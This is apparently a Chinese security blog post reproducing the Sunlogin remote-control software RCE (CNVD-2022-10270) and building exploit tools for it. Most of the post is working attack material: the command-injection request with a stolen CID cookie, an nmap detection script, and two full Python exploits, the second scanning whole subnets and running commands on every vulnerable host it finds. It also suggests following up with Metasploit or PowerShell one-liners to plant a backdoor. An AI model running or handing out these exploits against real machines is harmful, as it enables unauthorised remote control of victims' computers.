Nogue

V1

2022/06/03阅读:489主题:橙心

漏洞复现 | 向日葵RCE复现与EXP编写

漏洞复现 | 向日葵RCE复现与EXP编写

欢迎关注:HACK技术沉淀营

0x00 漏洞概述

在部分城市因疫情管理需要,远程办公场景增多,向日葵类远程控制软件的应用也会增加,从而系统被黑客利用漏洞入侵控制的风险也随之增加。企业中多数用到的两款远程软件是向日葵与Todesk,或者自行开发的远程软件。

向日葵是一款免费的,集远程控制电脑、手机、远程桌面连接、远程开机、远程管理、支持内网穿透等功能的一体化远程控制管理软件。如果想要手机远控电脑,或者电脑远控手机可以利用向日葵;如果是单纯PC远控PC协助办公,可以用Todesk,十分便捷快速。

那么这里说的向日葵漏洞,就是在2022年2月16日曝出的CNVD-2022-10270/CNVD-2022-03672向日葵RCE漏洞,此漏洞在内网办公区利用十分多。

0x02 漏洞范围

  • 个人版V11.0.0.33之前
  • 简约版V1.0.1.43315(2021.12)之前
  • 漏洞编号:CNVD-2022-10270、CNVD-2022-03672
  • 漏洞级别:高危

0x01 漏洞场景搭建

漏洞版本安装包可以在这里下载 https://github.com/Mr-xn/sunlogin_rce

随后在一台windows机器中安装,然后开启即可搭建完毕。

0x02 漏洞利用工具复现

我们先从站在巨人的肩膀上开始,利用大神写好的工具打一遍。

https://github.com/Mr-xn/sunlogin_rce

我记得很清楚,向日葵漏洞曝出来的时候,晚上逛github就看到了Mr.Xn大佬编写的exp工具,当时我是第二个点star,现在已经350了。不扯那么多,来复现一遍。

可以直接下载源码进行编译,也可以在release下载编译好的利用工具。

利用此命令来扫描出对方向日葵开启的端口 紧接着对此端口进行RCE攻击

0x03 漏洞手动复现

1、首先要知道向日葵软件开放端口一般为4W以上,先利用nmap进行扫描

2、浏览器访问ip+端口号+cgi-bin/rpc?action=verify-haras一个一个端口尝试,不存在漏洞的端口会一直卡着不动,存在漏洞的端口我们是可以访问到的,如下图。其实也可以做个字典,bp利用sniper模式爆破请求遍历端口,我这里偷个懒,用的nmap

3、接下来用Bp抓包,然后修改两处发送包。第一处就是请求位置,第二处就是添加个Cookie字段,并将上个步骤获取到的CID放入这里。发送就能看到结果。

4、随后可以用msf的webdelivery模块配合powershell一句话实现无文件落地上线,或者cs的也可以,再不行就用远程下载木马等等方式,这里不做演示了。

0x04 进阶思考

之前自己在实战时,发现Mr-xn大神用go编写的工具在二层内网中并不好扫描出来漏洞。二层内网的代理总是会莫名其妙地断掉,这是很常见的,可能是线程过大冲爆了脆弱的代理。这时候一般可以用几种方法来应对。

1、修改工具线程

个人看了一下工具源码,扫描模块是借助https://github.com/jboursiquot/portscan的,这个源码加了很多线程池,修改起来较为麻烦,暂时不谈及。

2、使用其他语言的exp

可以利用lua语言来编写一个nmap脚本,再用nmap调用,亲测这个可以扫出多层内网代理的向日葵漏洞。将下方代码片段放入nmap脚本路径下的nse文件中:/usr/share/nmap/scripts/SunloginClient.nse,命名必须是SunloginClient,严格与第24行代码status.banner="SunloginClient"对应。

local http=require "http"
local shortport=require "shortport"
local stdnse=require "stdnse"
local string=require "string"
local vulns=require "vulns"
local json=require "json"


portrule=function(host,port)
        if (port.state=="open") and (port.protocol=="tcp"then
                return true
        end
end


action=function(host,port)
        local status=stdnse.output_table()
        local url=string.format("http://%s:%s",host.ip,port.number)
        local banner="{\"success\":false,\"msg\":\"Verification failure\"}"
        local headers={header={}}
        headers["header"]["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
        local rqt=http.get_url(url,headers)
        if (rqt.status==200) and (string.match(rqt.body,banner)) then
                status.banner="SunloginClient"
                local uri="/cgi-bin/rpc"
                local postdata="action=verify-haras"
                local cid_check=http.post(host,port,uri,nil,true,postdata)
                if(cid_check.status==200) then
                        local json_check,json_data=json.parse(cid_check.body)
                        if (json_data["enabled"]=="1"then
                                status.rce="YES"
                                status.cid=json_data["verify_string"]
                        end
                end
                if (status~=nil) then
                        return status
                end
        end
end

随后使用nmap调用脚本进行扫描成功,我这里就不挂代理演示了。

3、自行编写exp思路

个人一直认为,因为python具有很多前人编写好的库文件,方便我们进行调用与具备强大的数据处理与自动化能力,所以十分适合渗透测试人员进行使用,可以说想要成为高手必须会python来编写exp。那么这里根据我们手动复现漏洞,可以总结出漏洞简单的利用逻辑如下:

1、寻找漏洞利用端口:向日葵端口在4W以上,所以先进行扫描目标,遍历端口访问ip:port/cgi/rpc?action=verify-haras,响应码为200即存在漏洞并记录该端口。

2、获取token,即返回包的CID值:发送GET请求,获取返回包,并将verify_string的值取出。

3、将CID值拼接到ip:port/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe%20whoamiCookie字段中,并发送数据包,取出数据即可。

0x04 编写python向日葵EXP过程

根据上面分析的漏洞利用步骤,我们将其一步一步翻译成python语句。

如果对python还是不熟悉的话,可以先直接用成功的端口和URL进行测试,再将其改成变量,最后对应成参数来接收用户输入即可。即先固定变量开始写,再改成变量动态的。

固定变量写法:

这里声明一下,为了不让内网二层代理崩掉,我就没有利用subprocess来调用nmap或者别人的扫描器,也没有加入线程。所以这里的第一步端口fuzz,就没有写入,从第二步开始。

第二步是要发送一个GET请求的,可以用requests库,也可以用bs4库,我这里为了省事儿用的burpsuite插件,需要的童鞋可以后台留言bp获取插件哈。

具体安装如下:

1、使用插件来帮我们编写一段完整的GET请求

复制出来代码如下:

import requests

session = requests.session()
burp0_url = "http://192.168.111.9:49681/cgi-bin/rpc?action=verify-haras"
burp0_headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0""Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8""Accept-Language""en-US,en;q=0.5""Accept-Encoding""gzip, deflate""DNT""1""Connection""close""Upgrade-Insecure-Requests""1"}
session.get(burp0_url, headers=burp0_headers)

因为返回包是json格式,所以我们优化一下代码,获取到json格式的内容。

从中获取到某个键的值,就很方便了

同理,用bp插件来请求第二个URL,并将Cookie值替换成之前得到的CID,可以看出成功得出system

改成变量:

先来确定一下什么是变化的,那肯定是目标ip和port了,所以这是肯定要写成变量的。先用input函数凑活一下接收参数,编写代码如下:

注意这里有一个坑,最好不要写URL编码,如果字符串中含有%,前面的字符格式化需要两个%来表示,不然会报Not enough arguments format string错误。

随后将所有代码进行函数化,加入个logo,并且引入argparse库来编写交互式python,整体代码贴如下:

from calendar import c
import requests
import json
import argparse
def logo():
    print('''
    
███████ ██    ██ ███    ██ ██████   ██████ ███████ 
██      ██    ██ ████   ██ ██   ██ ██      ██      
███████ ██    ██ ██ ██  ██ ██████  ██      █████   
     ██ ██    ██ ██  ██ ██ ██   ██ ██      ██      
███████  ██████  ██   ████ ██   ██  ██████ ███████ 
                                v1.0
                                公众号:HACK技术沉淀营 
    '
'')
def exp():
    #1、获取token,即返回包的CID值
    session = requests.session()
    burp0_url = "http://%s:%d/cgi-bin/rpc?action=verify-haras" % (ip,port)
    burp0_headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0"
                    "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
                    "Accept-Language""en-US,en;q=0.5""Accept-Encoding""gzip, deflate",  "DNT""1""Connection""close"
                    "Upgrade-Insecure-Requests""1"}
    res = json.loads(session.get(burp0_url, headers=burp0_headers).text)
    # print(res)
    token = res.get('verify_string')
    print("[+] Get token Successfully!!!!\n")
    print("[+] The token is %s\n"%token)

    #2、请求check,将CID值加入到cookie中
    session = requests.session()
    burp0_url = "http://%s:%d/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami" % (ip,port)
    burp0_cookies = {"CID""%s"%token}
    burp0_headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0"
                    "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
                    "Accept-Language""en-US,en;q=0.5""Accept-Encoding""gzip, deflate""DNT""1""Connection""close"
                    "Upgrade-Insecure-Requests""1"}
    res2 = session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    print("[+] The Command's result is %s\n" % res2.text)

def main():
    exp()
if __name__ == '__main__':
    logo()
    parser = argparse.ArgumentParser(description='Sun_RCE')
    parser.add_argument('-u',required=True,help='Destination ip, E.X. 192.168.111.9 ',dest='ip')
    parser.add_argument('-p',required=True,help='Destination port,E.X. 49681',dest='port')
    # parser.add_argument('-p',required=True,help='Command,E.X. whoami',dest='cmd')
    args = parser.parse_args()
    ip = args.ip
    port = int(args.port)
    # cmd = args.cmd
    main()

加入线程和进程

如果要加入线程和进程,可以利用subprocessthread库来编写。大概思路如下: 1、利用subprocess创建一个子进程,来调用nmap

2、通过subprocessPopen方法下的communicate来对进程数据进行读写

3、随后将读写的内容遍历输出成纯数字型的端口,再利用re.findall方法获取目标端口即可

贴一下代码:

from concurrent.futures import thread
import IPy
from py import process
import requests
import json
import sys
from subprocess import PIPE, Popen
from multiprocessing.pool import ThreadPool
import argparse
from sympy import re
import re as reg
import time

filename = time.strftime("%Y-%m-%d %H-%M-%S", time.localtime())+"_sunlogin.txt"

def pwn(target):
    global vul_list
    session = requests.session()
    burp0_url = "http://%s/cgi-bin/rpc?action=verify-haras" % target
    burp0_headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0",
                     "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                     "Accept-Language""zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
                     "Accept-Encoding""gzip, deflate""Connection""close""Upgrade-Insecure-Requests""1",
                     "Cache-Control""max-age=0"}
    res = json.loads(session.get(burp0_url, headers=burp0_headers).text)
    token = res.get('verify_string')
    print("[+] Get token: {}".format(token))

    burp0_url = "http://%s/check?cmd=ping../../../../../../../../../../../windows/system32/whoami" % target
    burp0_cookies = {"CID": token}
    burp0_headers = {"User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0",
                     "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                     "Accept-Language""zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
                     "Accept-Encoding""gzip, deflate""Connection""close""Upgrade-Insecure-Requests""1",
                     "Cache-Control""max-age=0"}
    res = session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    print("[+] Get command result: \r\n\t %s" % res.text)
    with open(file=filename,mode="a") as f:
        f.write(target+" Get command result:"+res.text+"\n")

#判断用户请求的内容是否返回向日葵漏洞的特征,如果是说明ip输入正确
def curl(host_WithPort):
    url = "http://%s" % host_WithPort
    try:
        result = requests.get(url,timeout=5)
        if result.text == "{\"success\":false,\"msg\":\"Verification failure\"}":
            return host_WithPort
    except:
        pass

def fuzz_sunloginPort(target):
    print("[*] %s\tFuzzing sunlogin port" % target)
    process = Popen("nmap -p 40000-65535 --min-rate=10000 -T4 %s" % target, stdout=PIPE, stderr=None, shell=True)
    # process = Popen("nmap -p 40000-65535 -T2 %s" % target, stdout=PIPE, stderr=None, shell=True)
    #communicate(input,timeout): 和子进程交互,发送和读取数据。 
    ports_raw = process.communicate()[0].decode("utf-8",errors="ignore")
    #通过正则取出端口数字形式
    ports = reg.findall("([\d]+/tcp)",ports_raw)
    #遍历端口并输出
    for i in range(len(ports)):
        ports[i] = ports[i].strip("/tcp")
    print("[*] Get ports: %s" % ports)
    if not ports:
        return
    print("[*] Enumerating port of sunlogin")
    host_WithPort = [str(target) + ":" + x for x in ports]
    tp = ThreadPool(50)
    result = tp.map(curl, (host_WithPort))
    result_filter = [i for i in result if i]
    if result_filter == []:
        print("[-] Could not find sunlogin port or target not vulnerable")
        return
    else:
        print("[*] Target may vulnerability, try to pwn it out.")
        for i in result_filter:
            pwn(i)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True, description="Sunlogin client RCE exploit with port fuzzing")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-t','--target', action='store',help="specify target with sunlogin client installed,suport "
                                                            "192.168.1.1 or 192.168.1.1/24")
    group.add_argument('-f','--file', action='store',help="Specify the destination IP file")
    options = parser.parse_args()
    if options.target is None and options.file is None:
        parser.print_help()
        sys.exit(1)
    else:
        if options.target is None:
            with open(file=options.file,mode="r") as f:
                hosts = f.readlines()
            for ip in hosts:
                fuzz_sunloginPort(ip.strip("\n"))
        else:
            if "/" in options.target:
                try:
                    hosts = IPy.IP(options.target)
                    for host in hosts:
                        fuzz_sunloginPort(host)
                except Exception as e:
                    print (e)
            else:
                fuzz_sunloginPort(options.target)

分类:

后端

标签:

计算机网络

作者介绍

Nogue
V1